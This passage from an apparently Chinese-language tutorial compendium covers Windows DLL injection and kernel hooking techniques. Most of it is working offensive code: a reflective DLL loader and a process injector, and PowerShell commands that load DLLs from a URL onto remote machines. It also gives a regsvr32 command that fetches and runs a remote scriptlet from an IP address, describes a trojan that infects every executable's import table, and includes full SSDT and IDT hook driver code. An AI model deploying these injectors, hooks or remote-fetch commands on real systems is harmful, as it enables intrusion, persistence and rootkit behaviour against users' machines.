((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) { // use LoadLibraryA to load the imported module into memory uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); // uiValueD = VA of the OriginalFirstThunk uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); // itterate through all imported functions, importing by ordinal if no name present while( DEREF(uiValueA) ) { // sanity check uiValueD as some compilers only import by FirstThunk if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) { // get the VA of the modules NT Header uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of addresses uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use the import ordinal (- export ordinal base) as an index into the array of addresses uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); // patch in the address for this imported function DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { // get the VA of this functions import by name struct uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); // use GetProcAddress and patch in the address for this imported function DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } // get the next imported function uiValueA += sizeof( ULONG_PTR ); if( uiValueD ) uiValueD += sizeof( ULONG_PTR ); } // get the next import uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); } // STEP 5: process all of our images relocations... // 在被注入進程的內存空間中對DLL導入函數進行重定位 // calculate the base address delta and perform relocations (even if we load at desired image base) uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; // uiValueB = the address of the relocation directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; // check if their are any relocations present if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) { // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // and we itterate through all entries... while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { // uiValueA = the VA for this relocation block uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); // uiValueB = number of entries in this relocation block uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); // uiValueD is now the first entry in the current relocation block uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); // we itterate through all the entries in the current block... while( uiValueB-- ) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we dont use a switch statement to avoid the compiler building a jump table // which would not be very position independent! if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; #ifdef WIN_ARM // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) { register DWORD dwInstruction; register DWORD dwAddress; register WORD wImm; // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); // flip the words to get the instruction as expected dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); // sanity chack we are processing a MOV instruction... if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) { // pull out the encoded 16bit value (the high portion of the address-to-relocate) wImm = (WORD)( dwInstruction & 0x000000FF); wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); // apply the relocation to the target address dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; // now create a new instruction with the same opcode and register param. dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); // patch in the relocated address... dwInstruction |= (DWORD)(dwAddress & 0x00FF); dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; // now flip the instructions words and patch back into the code... *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); } } #endif else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); // get the next entry in the current relocation block uiValueD += sizeof( IMAGE_RELOC ); } // get the next entry in the relocation directory uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } } // STEP 6: call our images entry point // 通過函數指針調用被注入進程的內存空間中的DLL入口地址,這里使用的就是真實的DllMain地址,實際上可以使用一個修改了EntryPoint的DLL,這種DLL可以躲避sandbox的運行 // uiValueA = the VA of our newly loaded DLL/EXE's entry point uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); // call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // if we are injecting an DLL via a stub we call DllMain with no parameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. return uiValueA; } //===============================================================================================// #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { BOOL bReturnValue = TRUE; switch( dwReason ) { case DLL_QUERY_HMODULE: if( lpReserved != NULL ) *(HMODULE *)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; } #endif //===============================================================================================//
2. Inject.c

//===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <stdlib.h> #include "LoadLibraryR.h" #pragma comment(lib,"Advapi32.lib") #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } // Simple app to inject a reflective DLL into a process vis its process ID. int main( int argc, char * argv[] ) { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; DWORD dwProcessId = 0; TOKEN_PRIVILEGES priv = {0}; #ifdef WIN_X64 char * cpDllFile = "reflective_dll.x64.dll"; #else #ifdef WIN_X86 char * cpDllFile = "reflective_dll.dll"; #else WIN_ARM char * cpDllFile = "reflective_dll.arm.dll"; #endif #endif do { // Usage: inject.exe [pid] [dll_file] if( argc == 1 ) dwProcessId = GetCurrentProcessId(); else dwProcessId = atoi( argv[1] ); if( argc >= 3 ) cpDllFile = argv[2]; hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); // 將待注入的DLL通過ReflectiveLoader注入到目標進程空間中 hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); WaitForSingleObject( hModule, -1 ); } while( 0 ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return 0; }
Relevant Link:
https://msdn.microsoft.com/en-us/library/64ez38eh.aspx https://github.com/stephenfewer/ReflectiveDLLInjection https://countercept.com/our-thinking/threat-hunting-for-fileless-malware/ http://bobao.360.cn/learning/detail/3883.html http://bobao.360.cn/learning/detail/3881.html https://msdn.microsoft.com/zh-cn/library/d8ba5k1h(v=vs.90).aspx https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/ https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/
19. 通過系統指令rundll32.exe執行DLL中指定函數
Rundll32 dllname.dll,funcname
# or
Rundll32 dllname.dll,#funcnumber
Relevant Link:
https://technet.microsoft.com/en-us/library/ee649171(v=ws.11).aspx
20. Reflective DLL Injection with PowerShell
基於powershel的dll反射注入和基於shellcode的dll反射植入原理都是一樣的,區別在於執行的載體是powershell,在攻擊時,系統上也會多出一個powershell進程,黑客利用漏洞獲得指令的執行權限后,可以遠程執行執行powershell script.
0x1:技術方案
# loads a DLL from a URL and runs it on a remote computer: Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/sampleDLL.dll -FuncReturnType WString -ComputerName COMPUTER # loads a DLL from a file and runs it on a list of computers loaded from computers.txt: Invoke-ReflectiveDllInjection –DllPath DemoDll.dll –FuncReturnType String –ComputerName (Get-Content computers.txt) PowerShell.exe -file Invoke-ReflectivePEInjection.ps1 –DllPath C:\Users\Administrator\Documents\Visual Studio 2017\Projects\testDll\Release\testDll.dll –FuncReturnType VoidFunc –ComputerName WINDOWS-2181810
運行時,可能會遇到如下錯誤
windows默認禁止未簽名過的pshell腳本
set-ExecutionPolicy RemoteSigned
Relevant Link:
http://blog.gentilkiwi.com/mimikatz https://www.defcon.org/images/defcon-21/dc-21-presentations/Bialek/DEFCON-21-Bialek-PowerPwning-Post-Exploiting-by-Overpowering-Powershell.pdf https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
21. 修改exe文件自身導入表劫持dll【感染性木馬】
0x1:技術原理
在惡意軟件中,白帽子常用的做法大概是這樣的
- 在初始投遞的惡意樣本中自帶一個dll文件(可能是放在資源段中)
- 樣本啟動后將dll釋放出來,然后復制到系統目錄下(system32)
- 遍歷C盤下所有的.exe文件
- 將每個.exe文件導入表中的kernel32.dll修改為黑客復制過來的dll文件,例如kernel32_hacked.dll
- 這樣,系統中這些程序啟動時,就會由系統自己的image loader去加載kernel32_hacked.dll,從而執行其中dllMain里面的惡意邏輯
- 為了保證系統中正常程序能正常啟動運行,kernel32_hacked.dll必須拷貝原來kernel32.dll中的所有導出函數作為自己的導出函數,即做一次轉發,起到Hook的邏輯
從技術原理上看,這種劫持技術和lpk劫持是一樣的,區別在於lpk劫持不修改目標exe本身,而是"順應環境",在目標exe的導入dll中挑選一個進行劫持,如果目標應用沒有使用自定義的dll而只使用了原生的系統dll,則因為系統dll的反劫持保護(UnKnownDdlls)的關系,dll劫持就很難進行,遇到這種情況,就需要修改目標exe本身,對其導入的dll修改為黑客自己的dll,並在黑客放置的劫持dll中進行api轉發。
0x2:方案缺點
這種dll劫持技術有一個缺點,就是不能對運行中的進程實施dll劫持,必須等目標進程重新啟動或者重新加載到對應dll的時候才會觸發劫持邏輯,如果目標進程是一個運行中的常駐進程,則就需要用到其他dll注入api hook技術
Relevant Link:
https://wenku.baidu.com/view/869b06758e9951e79b8927ee http://yonsm.net/aheadlib/ https://github.com/Yonsm/AheadLib http://yonsm.net/aheadlib/
http://www.programgo.com/article/31511075396
22. 利用regsvr32 /s /i:http:注冊dll組件
0x1:技術原理
Regsvr32命令是Windows中控件文件(如擴展名為DLL、OCX、CPL的文件)的注冊和反注冊工具。命令格式
Regsvr32 [/s] [/n] [/i[:cmdline]] dllname /u 卸載安裝的控件,卸載服務器注冊 /s 注冊成功后不顯示操作成功信息框 /i 調用DllInstall函數並把可選參數[cmdline]傳給它,當使用/u時用來卸載DLL /n 不調用DllRegisterServer,該參數必須和/i一起使用
黑客在獲取RDP弱口令之后,常常使用at計划任務、wmi計划任務,或者psexec執行下列指令
regsvr32 /u /s /i:http://30.11.230.10/test/v.sct scrobj.dll
wireshark抓包如下
Relevant Link:
http://carywu.blog.51cto.com/13185/9536 https://technet.microsoft.com/en-us/library/bb490985.aspx
23. windows SSDT hook - 內核態hook
0x1:技術原理
系統服務描述表(SSDT)也稱為系統服務分發表,微軟使用它來查找進入內核的系統調用,它通常不被第三方應用程序直接訪問。內核代碼只能被用戶態的SYSCALL、SYSENTER、INT 0X2E指令來訪問(這是軟件中斷)
typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; //這個參數是ssdt數組的基址,有了它,我們再給出具體函數的偏移,就能找到正確的函數地址了 unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; //這個是ssdt這個數組的最大值,也就是ssdt中函數的個數 unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
有了這個結構過后,按照偏移就可以找到想要Hook的函數的地址了。但是hook之前,需要修改內核保護,否則遇到藍屏問題
void PageProtectOff() { __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } }
Cro這個寄存器就保存了內核保護的標志位,用 10000h取反再和他進行與運算,就使標志位從1變成0了,就可以修改內核了

#include "ntddk.h" #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() NTSTATUS PsLookupProcessByProcessId( IN HANDLE ProcessId, OUT PEPROCESS *Process ); __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; typedef NTSTATUS(*MYNTOPENPROCESS)( OUT PHANDLE ProcessHandle, IN ACCESS_MASK AccessMask, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId );//定義一個指針函數,用於下面對O_NtOpenProcess進行強制轉換 ULONG O_NtOpenProcess; BOOLEAN ProtectProcess(HANDLE ProcessId,char *str_ProtectObjName) { NTSTATUS status; PEPROCESS process_obj; if(!MmIsAddressValid(str_ProtectObjName))//這個條件是用來判斷目標進程名是否有效 { return FALSE; } if(ProcessId==0)//這個條件是用來排除System Idle Process進程的干擾 { return FALSE; } status=PsLookupProcessByProcessId(ProcessId,&process_obj);//這句用來獲取目標進程的EPROCESS結構 if(!NT_SUCCESS(status)) { KdPrint(("error :%X---is s process ID:%d",status,ProcessId)); return FALSE; } if(!strcmp((char *)process_obj+0x174,str_ProtectObjName))//進行比較 { ObDereferenceObject(process_obj);//對象計數器減1,為了恢復對象管理器計數,便於回收 return TRUE; } ObDereferenceObject(process_obj); return FALSE; } NTSTATUS MyNtOpenProcess ( __out PHANDLE ProcessHandle, __in ACCESS_MASK DesiredAccess, __in POBJECT_ATTRIBUTES ObjectAttributes, __in_opt PCLIENT_ID ClientId ) { //KdPrint(("%s",(char *)PsGetCurrentProcess()+0x174)); if(ProtectProcess(ClientId->UniqueProcess,"calc.exe")) { KdPrint(("%scan not open me",(char *)PsGetCurrentProcess()+0x174)); return STATUS_UNSUCCESSFUL; } //KdPrint(("Hook Success!")); return ((MYNTOPENPROCESS)O_NtOpenProcess)(ProcessHandle,//處理完自己的任務后,調用原來的函數,讓其它進程正常工作 DesiredAccess, ObjectAttributes, ClientId); } void PageProtectOff()//關閉頁面保護 { __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } } void PageProtectOn()//打開頁面保護 { __asm{ mov eax,cr0 or eax,10000h mov cr0,eax sti } } void UnHookSsdt() { PageProtectOff(); KeServiceDescriptorTable.ServiceTableBase[122]=O_NtOpenProcess;//恢復ssdt中原來的函數地址 PageProtectOn(); } NTSTATUS ssdt_hook() { O_NtOpenProcess=KeServiceDescriptorTable.ServiceTableBase[122];//保存原來的函數地址 PageProtectOff(); //將原來ssdt中所要hook的函數地址換成我們自己的函數地址 KeServiceDescriptorTable.ServiceTableBase[122]=(unsigned int)MyNtOpenProcess; PageProtectOn(); return STATUS_SUCCESS; } void DriverUnload(PDRIVER_OBJECT pDriverObject) { UnHookSsdt(); KdPrint(("Driver Unload Success !")); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegsiterPath) { DbgPrint("This is My First Driver!"); ssdt_hook(); pDriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; }
Relevant Link:
http://bbs.pediy.com/thread-176477.htm http://www.cnblogs.com/BoyXiao/archive/2011/09/04/2166596.html
24. windows IDT hook - 內核態hook
0x1:技術原理
現代的處理器實現了用硬件方式觸發軟件事件的中斷,系統發送一條命令到硬件,硬件處理完事件后會向cpu發送中斷信號,中斷處理器。有時,驅動或者rootkit會利用中斷來執行代碼,驅動程序調用ioconnectinterrupt函數為特定中斷注冊一個處理程序,然后為這個中斷指定一個中斷服務例程(ISR),每當觸發該中斷時,系統都會調用注冊的中斷服務例程
中斷描述表(IDT)存儲着ISR的信息,IDT表的長度與地址是由CPU的IDTR寄存器來描述的。IDTR寄存器共有48位,高32位是IDT表的基地址,低16位是IDT的長度
typedef struct _IDTR{ USHORT IDT_limit; USHORT IDT_LOWbase; USHORT IDT_HIGbase; }IDTR,*PIDTR; IDTR idtr;
__asm SIDT idtr;
可以通過以上SIDT指令可以讀取IDTR寄存器。然后通過MAKEWORD宏把高位與地位組合起來就可以獲得IDT表的基地址了。
簡單來說,IDT表是一張位於物理內存的線性表,共有256個表項。在32位模式下,每個IDT表項的長度是8個字節(64 bit),IDT表的總長度是2048字節
kd> r idtr idtr=8003f400 kd> r idtl idtl=000007ff
通過Windbg命令 r idtr、r idtl可以讀取IDT表的基地址與邊界
IDT表中每一項(4byte)也稱為“門描述符”,之所以這樣稱呼,是因為IDT表項的基本用途就是引領CPU從一個空間到另一個空間去執行,每個表項好像是一個空間到另一個空間的大門。
IDT表中可以包含以下3種門描述符,它們本質都一樣,只是代表了不同的業務場景
1. 任務門描述符: 用於任務切換,里面包含用於選擇任務狀態段(TSS)的段選擇子。可以使用JMP或CALL指令通過任務門來切換到任務門所指向的任務,當CPU因為中斷或異常轉移到任務門時,也會切換到指定任務 2. 中斷門描述符: 用於描述中斷例程的入口 3. 陷阱門描述符: 用於描述異常處理例程的入口
0x2:示例代碼
HOOK代碼

#ifndef CXX_IDTHOOK_H # include "IDTHook.h" #endif #define WORD USHORT #define DWORD ULONG ULONG g_InterruptFun = 0; #define MAKELONG(a, b) ((LONG)(((WORD)(((DWORD_PTR)(a)) & 0xffff)) \ | ((DWORD)((WORD)(((DWORD_PTR)(b)) & 0xffff))) << 16)) NTKERNELAPI VOID KeSetSystemAffinityThread ( KAFFINITY Affinity ); NTKERNELAPI VOID KeRevertToUserAffinityThread ( VOID ); PULONG GetKiProcessorBlock() { ULONG* KiProcessorBlock = 0; KeSetSystemAffinityThread(1); //使當前線程運行在第一個處理器上 _asm { push eax mov eax,FS:[0x34] add eax,20h mov eax,[eax] mov eax,[eax] mov eax,[eax+218h] mov KiProcessorBlock,eax pop eax } KeRevertToUserAffinityThread(); return KiProcessorBlock ; } void PageProtectOn() { __asm{//恢復內存保護 mov eax,cr0 or eax,10000h mov cr0,eax sti } } void PageProtectOff() { __asm{//去掉內存保護 cli mov eax,cr0 and eax,not 10000h mov cr0,eax } } void _stdcall FilterInterruptFun() { DbgPrint("CurrentProcess : %s",(char*)PsGetCurrentProcess()+0x174); } _declspec(naked) void Fake_InterruptFun() { _asm{ pushad pushfd push fs push 0x30 pop fs call FilterInterruptFun; pop fs popfd popad jmp g_InterruptFun } }; NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString) { IDTR Idtr; PIDTENTRY pIdtEntry; ULONG ulIndex = 0 ; ULONG* KiProcessorBlock; pDriverObj->DriverUnload = DriverUnload; KiProcessorBlock = GetKiProcessorBlock(); DbgPrint("%X\r\n",KiProcessorBlock); while (KiProcessorBlock[ulIndex]) { pIdtEntry = *(PIDTENTRY*)(KiProcessorBlock[ulIndex] - 0x120 + 0x38) ; DbgPrint("IDT Base:%X\r\n",pIdtEntry); g_InterruptFun = MAKELONG(pIdtEntry[3].LowOffset,pIdtEntry[3].HiOffset); DbgPrint("InterruptFun3:%X\r\n",g_InterruptFun); PageProtectOff(); pIdtEntry[3].LowOffset = (unsigned short)((ULONG)Fake_InterruptFun & 0xffff); pIdtEntry[3].HiOffset = (unsigned short)((ULONG)Fake_InterruptFun >> 16); PageProtectOn(); ulIndex++; } return STATUS_SUCCESS; } VOID DriverUnload(IN PDRIVER_OBJECT pDriverObj) { return; }
里面獲得IDT表的時候沒有通過寄存器IDTR進行讀取,是因為對於多核CPU來說不一定只有一個IDT表,而通過IDTR來讀取只能讀到一份表,所以HOOK IDT的時候一定要注意多核問題
系統維護了一個全局的處理器數組KiProcessorBlock,其中每個元素對應於一個處理器的KPRCB 對象
Relevant Link:
http://www.cnblogs.com/zibility/p/5663825.html http://www.cnblogs.com/lanrenxinxin/p/4692013.html